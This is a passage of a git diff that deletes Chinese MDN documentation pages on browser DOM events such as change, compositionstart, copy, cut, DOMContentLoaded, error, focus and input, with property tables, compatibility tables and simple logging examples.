-const log = document.getElementById('log');
-
-input.addEventListener('change', updateValue);
-
-function updateValue(e) {
-  log.textContent = e.target.value;
-}
- -

结果

- - - -

浏览器兼容性

- -

{{Compat("api.GlobalEventHandlers.onchange")}}

- -

对于一些特定类型的交互是否要触发 change 事件,不同浏览器的意见并不总是一致的。例如在 {{HTMLElement("select")}} 元素中使用键盘导航在 Gecko 中不会触发 change 事件,直到用户按下 Enter 键或将焦点从 <select> 上移走(参见 {{bug("126379")}})。但从 Firefox 63(Quantum)开始,这个行为在已经在主流浏览器中达成一致。

- -

参见

- -

{{domxref("NetworkInformation.connection")}} fires the change event when the connection information changes.

diff --git a/files/zh-cn/web/events/compositionend/index.html b/files/zh-cn/web/events/compositionend/index.html deleted file mode 100644 index 4a023fc0e5..0000000000 --- a/files/zh-cn/web/events/compositionend/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: compositionend -slug: Web/Events/compositionend -tags: - - 事件 -translation_of: Web/API/Element/compositionend_event ---- -

当文本段落的组成完成或取消时, compositionend 事件将被触发 (具有特殊字符的触发, 需要一系列键和其他输入, 如语音识别或移动中的字词建议)。

- - - - - - - - - - - - - - - - - - - - -
BubblesYes
CancelableYes
Target objects{{domxref("Element")}}
Interface{{domxref("TouchEvent")}}
- -

Properties

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}聚焦元素处理成分
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否冒泡
cancelable {{ReadOnlyInline}}boolean是否可以取消该事件
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (window of the document)
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)正在编辑的原始字符串, 否则为空字符串。只读。
locale{{domxref("DOMString")}} (string)组合事件的语言代码 (如果可用);否则, 为空字符串。只读。
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
-
- -

[1] 该事件是在9.0 之前的Gecko版本中已经可以使用, 但没有 DOM 级3属性和方法。Gecko还不支持给受信任事件的locale属性设置值。但是, 当创建不受信任的事件时,此值可以通过initCompositionEvent() 设置。

- - - -
    -
  • {{Event("compositionstart")}}
  • -
  • {{Event("compositionupdate")}}
  • -
diff --git a/files/zh-cn/web/events/compositionstart/index.html b/files/zh-cn/web/events/compositionstart/index.html deleted file mode 100644 index 71aa9f1f0d..0000000000 --- a/files/zh-cn/web/events/compositionstart/index.html +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: compositionstart -slug: Web/Events/compositionstart -tags: - - Element - - Event - - Input method - - compositionstart - - 事件 - - 参考 -translation_of: Web/API/Element/compositionstart_event ---- -

文本合成系统如 {{glossary("input method editor")}}(即输入法编辑器)开始新的输入合成时会触发 compositionstart 事件。

- -

例如,当用户使用拼音输入法开始输入汉字时,这个事件就会被触发。

- - - - - - - - - - - - - - - - - - - - -
BubblesYes
CancelableYes
Interface{{domxref("CompositionEvent")}}
Event handler property - - - - - - -
None
-
- -

示例

- -
const inputElement = document.querySelector('input[type="text"]');
-
-inputElement.addEventListener('compositionstart', (event) => {
-  console.log(`generated characters were: ${event.data}`);
-});
- -

动态演示

- -

HTML

- -
<div class="control">
-  <label for="name">On macOS, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label>
-  <input type="text" id="example" name="example">
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea>
-  <button class="clear-log">Clear</button>
-</div>
- -

CSS

- -
body {
-  padding: .2rem;
-  display: grid;
-  grid-template-areas: "control  log";
-}
-
-.control {
-  grid-area: control;
-}
-
-.event-log {
-  grid-area: log;
-}
-
-.event-log-contents {
-  resize: none;
-}
-
-label, button {
-  display: block;
-}
-
-input[type="text"] {
-  margin: .5rem 0;
-}
-
-kbd {
-  border-radius: 3px;
-  padding: 1px 2px 0;
-  border: 1px solid black;
-}
-
- -

JS

- -
const inputElement = document.querySelector('input[type="text"]');
-const log = document.querySelector('.event-log-contents');
-const clearLog = document.querySelector('.clear-log');
-
-clearLog.addEventListener('click', () => {
-    log.textContent = '';
-});
-
-function handleEvent(event) {
-    log.textContent = log.textContent + `${event.type}: ${event.data}\n`;
-}
-
-inputElement.addEventListener('compositionstart', handleEvent);
-inputElement.addEventListener('compositionupdate', handleEvent);
-inputElement.addEventListener('compositionend', handleEvent);
-
- -

结果

- -

- -

规范

- - - - - - - - - - - - - - -
规范状态
{{SpecName('UI Events', '#event-type-compositionstart')}}{{Spec2('UI Events')}}
- -

浏览器兼容性

- -

{{Compat("api.Element.compositionstart_event")}}

- -

参见

- -
    -
  • 相关事件:{{domxref("Element/compositionend_event", "compositionend")}}, {{domxref("Element/compositionupdate_event", "compositionupdate")}}.
  • -
diff --git a/files/zh-cn/web/events/compositionupdate/index.html b/files/zh-cn/web/events/compositionupdate/index.html deleted file mode 100644 index 11952af506..0000000000 --- a/files/zh-cn/web/events/compositionupdate/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: compositionupdate -slug: Web/Events/compositionupdate -translation_of: Web/API/Element/compositionupdate_event ---- -

compositionupdate 事件触发于字符被输入到一段文字的时候(这些可见字符的输入可能需要一连串的键盘操作、语音识别或者点击输入法的备选词)

- - - - - - - - - - - - - - - - - - - - -
BubblesYes
CancelableNo
Target objects{{domxref("Element")}}
Interface{{domxref("TouchEvent")}}
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}焦点所在的,处理文字输入的元素。
type {{ReadOnlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{ReadOnlyInline}}booleanDoes the event normally bubble?
cancelable {{ReadOnlyInline}}booleanIs it possible to cancel the event?
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (the window of the document).
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)要被替换掉的字符串,如果输入时没有字符串被选,则为空字符串。只读。
locale {{ReadOnlyInline}}{{domxref("DOMString")}} (string)输入事件的语言代号,或者空字符串。只读。
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop("9.0")}}[2]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] 在 compositionstart 事件之后不会立即执行。

- -

[2] compositionupdate 事件在编辑器里的内容改变之前就会触发。自从 Gecko 12.0 {{geckoRelease("12.0")}} 开始 input 事件在输入过程中、内容变化后就触发。使用它可以在输入过程中就获得新的内容。

- -

Gecko 在可信事件(trusted events)中还不支持 locale 属性。但是开发者可以在使用 initCompositionEvent() 创建不可信事件时指定一个值。

- -

参阅

- -
    -
  • {{Event("compositionstart")}}
  • -
  • {{Event("compositionupdate")}}
  • -
  • {{Event("compositionend")}}
  • -
diff --git a/files/zh-cn/web/events/copy/index.html b/files/zh-cn/web/events/copy/index.html deleted file mode 100644 index ac249f5055..0000000000 --- a/files/zh-cn/web/events/copy/index.html +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: copy -slug: Web/Events/copy -tags: - - Clipboard API - - Event - - Reference -translation_of: Web/API/Element/copy_event ---- -

当用户通过浏览器UI(例如,使用 Ctrl/+C  键盘快捷方式或从菜单中选择“复制”)启动复制操作并响应允许的{{domxref("Document.execCommand","document.execCommand('copy')")}}调用时触发copy事件。

- -

基本信息

- -
-
Specification
-
Clipboard
-
Interface
-
{{domxref("ClipboardEvent")}}
-
Bubbles
-
Yes
-
Cancelable
-
Yes
-
Target
-
{{domxref("Element")}}:获得焦点的元素(如{{domxref("HTMLElement.contentEditable","contentEditable")}}内容能编辑或者可以选中的元素),或{{HTMLElement("body")}}。
-
Default Action
-
见下文。
-
- -

调用{{domxref("DataTransfer.setData","setData(format, data)")}}可以修改{{domxref("ClipboardEvent.clipboardData")}}事件的默认行为:

- -
document.addEventListener('copy', function(e){
-    e.clipboardData.setData('text/plain', 'Hello, world!');
-    e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
-    e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
-});
- -

不能使用{{domxref("DataTransfer.getData", "clipboardData.getData()")}}在事件处理函数中获取剪切板数据。

- -

事件的默认行为与事件的来源和事件处理函数相关:

- -
    -
  • synthetic copy事件没有默认行为,除非:
  • -
  • 如果默认事件没有取消,就复制到选区(如果有选中内容)到剪切板;
  • -
  • 如果取消了默认事件,但是调用了setData()方法:就复制clipboardData的内容到到剪切板;
  • -
  • 如果取消了默认行为,而且没有调用setData()方法,就没有任何行为。
  • -
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

参见

- -
    -
  • {{domxref("HTMLElement.oncopy")}}
  • -
  • Related events -
      -
    • {{event("cut")}}
    • -
    • {{event("paste")}}
    • -
    -
  • -
diff --git a/files/zh-cn/web/events/cut/index.html b/files/zh-cn/web/events/cut/index.html deleted file mode 100644 index 48c024451a..0000000000 --- a/files/zh-cn/web/events/cut/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: cut -slug: Web/Events/cut -tags: - - 事件 - - 剪贴板API - - 参考 -translation_of: Web/API/Element/cut_event ---- -
-

This page needs to be updated to match the currently specified behaviour. In the meantime please refer to the specification: https://www.w3.org/TR/clipboard-apis/#the-cut-action

-
- -

cut 事件在将选中内容从文档中删除并将其添加到剪贴板后触发。

- -

如果用户尝试对不可编辑内容执行剪切操作,则cut事件仍会触发,但事件对象不包含任何数据。

- -

基本信息

- -
-
规范
-
Clipboard
-
接口
-
{{domxref("ClipboardEvent")}}
-
是否冒泡
-
Yes
-
可取消默认行为
-
Yes
-
目标对象
-
{{domxref("DefaultView")}}, {{domxref("Document")}}, {{domxref("Element")}}
-
默认行为
-
None
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}事件对象(DOM树的顶层对象)。
type {{readonlyInline}}{{domxref("DOMString")}}事件的类型。
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡。
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可以取消。
clipboardData {{readonlyInline}}{{domxref("DataTransfer")}}剪贴板的内容。不仅仅是文本,还有文件和图片。
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatNo() }}{{CompatOpera(45)}}{{ CompatUnknown() }}
clipboardData{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{CompatOpera(45)}}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{compatChrome(58)}}{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{CompatOperaMobile(45)}}{{ CompatUnknown() }}
clipboardData{{compatChrome(58)}}{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{CompatOperaMobile(45)}}{{ CompatUnknown() }}
-
- -

相关

- -
    -
  • {{domxref("HTMLElement.oncut")}}
  • -
  • Related events -
      -
    • {{event("copy")}}
    • -
    • {{event("paste")}}
    • -
    -
  • -
diff --git a/files/zh-cn/web/events/domcontentloaded/index.html b/files/zh-cn/web/events/domcontentloaded/index.html deleted file mode 100644 index 67c6a44253..0000000000 --- a/files/zh-cn/web/events/domcontentloaded/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: DOMContentLoaded -slug: Web/Events/DOMContentLoaded -tags: - - DOMContentLoaded - - Window.open() - - load - - window.onload -translation_of: Web/API/Window/DOMContentLoaded_event ---- -

当初始的 HTML 文档被完全加载和解析完成之后,DOMContentLoaded 事件被触发,而无需等待样式表、图像和子框架的完全加载。

- -

模拟的css文件:CSS.php

- -
<?php
-sleep(3);
- -

测试代码:

- -
<link rel="stylesheet" href="css.php">
-<script>
-document.addEventListener('DOMContentLoaded',function(){
-    console.log('3 seconds passed');
-});
-</script>
- -

如果将link置于script之后,就会立即打印。

- -

{{Note("同步 JavaScript 会暂停 DOM 的解析。")}}

- -

{{Note("还有许多通用和独立的库提供跨浏览器方法来检测 DOM 是否已准备就绪")}}

- -

加速中

- -

如果您希望 DOM 在用户请求页面后尽可能快地解析,你可以做的一些事情是把你的 JavaScript 异步化 以及 优化样式表的加载, 由于被并行加载而减慢页面加载,从主 html 文档“窃取”流量。

- -

常规信息

- -
-
规范
-
HTML5
-
接口
-
Event
-
是否冒泡
-
-
能否取消
-
能 (尽管一个简单的事件被指定为不可取消)
-
目标
-
Document
-
默认行为
-
无.
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
- -

示例

- -
<script>
-  document.addEventListener("DOMContentLoaded", function(event) {
-      console.log("DOM fully loaded and parsed");
-  });
-</script>
- -
<script>
-  document.addEventListener("DOMContentLoaded", function(event) {
-      console.log("DOM fully loaded and parsed");
-  });
-
-  for(var i=0; i<1000000000; i++){
-      // 这个同步脚本将延迟DOM的解析。
-      // 所以DOMContentLoaded事件稍后将启动。
-  } 
-</script>
- -

浏览器兼容性

- -

{{Compat("api.Window.DOMContentLoaded_event")}}

- -

至少从Gecko 1.9.2,Chrome 6,以及Safari 4开始,就已经实现了该事件的冒泡行为.

- -

兼容不支持该事件的浏览器

- -

在IE8中,可以使用readystatechange事件来检测DOM文档是否加载完毕.在更早的IE版本中,可以通过每隔一段时间执行一次document.documentElement.doScroll("left")来检测这一状态,因为这条代码在DOM加载完毕之前执行时会抛出错误(throw an error)。

- -

诸如jQuery这样的通用JS库,会提供跨浏览器的方法来检测DOM是否加载完成。也有其他专门实现该功能的脚本:contentloaded.js (只能添一个时间监听函数)以及jquery.documentReady.js (并不依赖jQuery,虽然名字中有jquery).

- -

相关事件

- -
    -
  • {{event("DOMContentLoaded")}}
  • -
  • {{event("readystatechange")}}
  • -
  • {{event("load")}}
  • -
  • {{event("beforeunload")}}
  • -
  • {{event("unload")}}
  • -
  • DOMContentLoaded demo
  • -
diff --git a/files/zh-cn/web/events/error/index.html b/files/zh-cn/web/events/error/index.html deleted file mode 100644 index 913caf76bf..0000000000 --- a/files/zh-cn/web/events/error/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: error -slug: Web/Events/error -translation_of: Web/API/Element/error_event ---- -
{{APIRef}}
- -

当一个资源加载失败或无法使用时,会在{{domxref("Element")}}对象上触发error事件。例如当脚本执行错误、或图片无法找到或图片无效时。

- - - - - - - - - - - - - - - - - - - - -
Bubbles(支持冒泡)No
Cancelable(可撤销)No
Interface(接口){{domxref("Event")}} 或{{domxref("UIEvent")}}
Event handler property(事件处理程序属性){{domxref("GlobalEventHandlers/onerror", "onerror")}}
- -

如果事件对象是从用户界面元素生成的,则它是一个{{domxref("UIEvent")}}实例;反之,它是一个{{domxref("Event")}}实例。

- -

示例

- -

在线示例

- -

HTML

- -
<div class="controls">
-  <button id="img-error" type="button">生成图像error</button>
-  <img class="bad-img" />
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
-</div>
- - - -

JS

- -
const log = document.querySelector('.event-log-contents');
-
-const badImg = document.querySelector('.bad-img');
-badImg.addEventListener('error', (event) => {
-    log.textContent = log.textContent + `${event.type}: Loading image\n`;
-    console.log(event)
-});
-
-const imgError = document.querySelector('#img-error');
-imgError.addEventListener('click', () => {
-    badImg.setAttribute('src', 'i-dont-exist');
-});
-
- -

结果

- -

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('UI Events', '#event-type-error')}}{{Spec2('UI Events')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Element.error_event")}}

- -

参阅

- -
    -
  • This event on Window targets: {{domxref("Window/error_event", "error")}} event
  • -
diff --git a/files/zh-cn/web/events/focus/index.html b/files/zh-cn/web/events/focus/index.html deleted file mode 100644 index 4a93ee7726..0000000000 --- a/files/zh-cn/web/events/focus/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: focus -slug: Web/Events/focus -translation_of: Web/API/Element/focus_event ---- -

focus事件在元素获取焦点时触发. 这个事件和 focusin 最大的区别仅仅在于后者会事件冒泡.

- -

基本信息

- -
-
规范
-
DOM L3
-
接口
-
{{ domxref("FocusEvent") }}
-
是否冒泡
-
-
能否取消默认
-
-
事件目标
-
Element
-
默认行为
-
无.
-
- -
注释: 这里的接口是指 {{ domxref("Event") }} prior to Gecko 24 {{ geckoRelease(24) }}. ({{ bug(855741) }})
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target (DOM element)
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)null
- -

事件委托

- -

此事件有两个可以实现事件委托的方法 : 通过在支持的浏览器上使用 focusin 事件 (除了Firefox之外的所有浏览器), 或者通过设置 addEventListener 的参数"useCapture" 值为true:

- -

{{ EmbedLiveSample('Event_delegation', '', '', '', 'Web/Events/blur') }}

- -

(Sample code from blur (event))

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatrueChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatVersionUnknown}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
-
- -

相关事件

- -
    -
  • {{event("focus")}}
  • -
  • {{event("blur")}}
  • -
  • {{event("focusin")}}
  • -
  • {{event("focusout")}}
  • -
diff --git a/files/zh-cn/web/events/focusout/index.html b/files/zh-cn/web/events/focusout/index.html deleted file mode 100644 index 87a8a9bd48..0000000000 --- a/files/zh-cn/web/events/focusout/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: focusout -slug: Web/Events/focusout -translation_of: Web/API/Element/focusout_event ---- -

当元素即将失去焦点时,focusout 事件被触发。focusout 事件和 blur 事件之间的主要区别在于后者不会冒泡。

- -

基本信息

- -
-
Specification
-
DOM L3
-
Interface
-
{{domxref("FocusEvent")}}
-
Bubbles
-
Yes
-
Cancelable
-
No
-
Target
-
Element
-
Default Action
-
None.
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target losing focus.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)Event target receiving focus.
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(52)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(52)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
-
- -

相关事件

- -
    -
  • {{event("focus")}}
  • -
  • {{event("blur")}}
  • -
  • {{event("focusin")}}
  • -
  • {{event("focusout")}}
  • -
diff --git a/files/zh-cn/web/events/icecandidate/index.html b/files/zh-cn/web/events/icecandidate/index.html deleted file mode 100644 index 38fc5c1920..0000000000 --- a/files/zh-cn/web/events/icecandidate/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: 'RTCPeerConnection: icecandidate event' -slug: Web/Events/icecandidate -translation_of: Web/API/RTCPeerConnection/icecandidate_event ---- -

{{SeeCompatTable}}

- -

当 {{domxref("RTCPeerConnection")}}通过{{domxref("RTCPeerConnection.setLocalDescription()")}}方法更改本地描述之后,该{{domxref("RTCPeerConnection")}}会抛出icecandidate事件。该事件的监听器需要将更改后的描述信息传送给远端{{domxref("RTCPeerConnection")}},以更新远端的备选源。

- -

使用指南

- -

icecandidate 的类型为 {{domxref("RTCPeerIceCandidateEvent")}}, 在以下三种情况下会触发该事件:

- -

分享新的源

- -

触发icecandidate事件的首要原因:当获得新的源之后,需要将该源的信息发送给远端信号服务器,并分发至其他端的{{domxref("RTCPeerConnection")}}。其他{{domxref("RTCPeerConnection")}}通过{{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}方法将新{{domxref("RTCPeerCandidateIceEvent.candidate", "candidate")}} 中携带的信息,将新的源描述信息添加进它的备选池中;

- -
rtcPeerConnection.onicecandidate = (event) => {
-  if (event.candidate) {
-    sendCandidateToRemotePeer(event.candidate)
-  }
-}
-
- - - -

概述

- -
-
规范
-
{{ SpecName('WebRTC 1.0', '#event-mediastream-icecandidate', 'icecandidate') }}
-
接口
-
{{domxref("RTCPeerConnectionIceEvent")}}
-
事件冒泡
-
-
能否取消默认
-
-
事件目标
-
{{domxref("RTCPeerConnection")}}
-
默认行为
-
-
- -

属性

- -

属性继承自{{domxref("RTCPeerConnectionIceEvent")}}.

- -

方法

- -

方法继承自 {{domxref("RTCPeerConnectionIceEvent")}}.

- -

相关事件

- -
    -
  • -
- -

规范

- - - - - - - - - - - - - - -
规范状态注释
{{ SpecName('WebRTC 1.0', '#event-mediastream-icecandidate', 'icecandidate') }}{{Spec2('WebRTC 1.0')}}
- -

兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
特性AndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

参阅

- - diff --git a/files/zh-cn/web/events/input/index.html b/files/zh-cn/web/events/input/index.html deleted file mode 100644 index 7ee1b98ad5..0000000000 --- a/files/zh-cn/web/events/input/index.html +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: input -slug: Web/Events/input -tags: - - HTML DOM - - HTMLElement - - Input - - 事件 - - 参考 - - 表单 - - 输入 -translation_of: Web/API/HTMLElement/input_event ---- -

{{APIRef}}

- -

当一个 {{HTMLElement("input")}}, {{HTMLElement("select")}}, 或 {{HTMLElement("textarea")}} 元素的 value 被修改时,会触发 input 事件。

- - - - - - - - - - - - - - - - - - - - -
BubblesYes
CancelableNo
Interface{{DOMxRef("InputEvent")}}
Event handler property{{domxref("GlobalEventHandlers.oninput")}}
- -

input 事件也适用于启用了 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 的元素,以及开启了 {{domxref("Document.designMode", "designMode")}} 的任意元素。在contenteditable 和 designMode 的情况下,事件的 target 为当前正在编辑的宿主。如果这些属性应用于多个元素上,当前正在编辑的宿主为最近的父节点不可编辑的祖先元素。

- -

对于 type=checkboxtype=radioinput 元素,每当用户切换控件(通过触摸、鼠标或键盘)时(HTML5规范),input 事件都应该触发。然而,历史事实并非如此。请检查兼容性,或使用 {{event("change")}} 事件代替这些类型的元素。

- -
-

注意: 每当元素的 value 改变,input 事件都会被触发。这与 {{domxref("HTMLInputElement.change_event", "change")}} 事件不同。change 事件仅当 value 被提交时触发,如按回车键,从一个 options 列表中选择一个值等。

-
- -

示例

- -

每当用户修改 {{HtmlElement("input")}} 元素的 value 时,这个示例会记录 value。

- -

HTML

- -
<input placeholder="Enter some text" name="name"/>
-<p id="values"></p>
- -

JavaScript

- -
const input = document.querySelector('input');
-const log = document.getElementById('values');
-
-input.addEventListener('input', updateValue);
-
-function updateValue(e) {
-  log.textContent = e.srcElement.value;
-}
-
- -

结果

- -

- -

规范

- - - - - - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('DOM3 Events', "#event-type-input", "input event")}}{{Spec2('DOM3 Events')}}
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

浏览器兼容性

- -

{{Compat("api.HTMLElement.input_event")}}

- -
- -

[1] 在 Gecko 12.0 {{geckoRelease("12.0")}} 之前,用户在输入法中输入时,或者 dead keys were used on Mac OS X 时,Gecko 不触发 input 事件。

- -

[2] IE 9 在用户删除输入的文字时不触发 input 事件(例如,按 Backspace 或者删除键,或者“剪切”文字).

- -

[3] Opera 在用户把文字拖进输入框时,不触发 input 事件。

- -

[4] 事件 target 是光标所在的最内侧的元素。

- -

参见

- -
    -
  • {{event("keydown")}}
  • -
  • {{event("keyup")}}
  • -
  • {{event("keypress")}}
  • -
  • {{event("input")}}
  • -
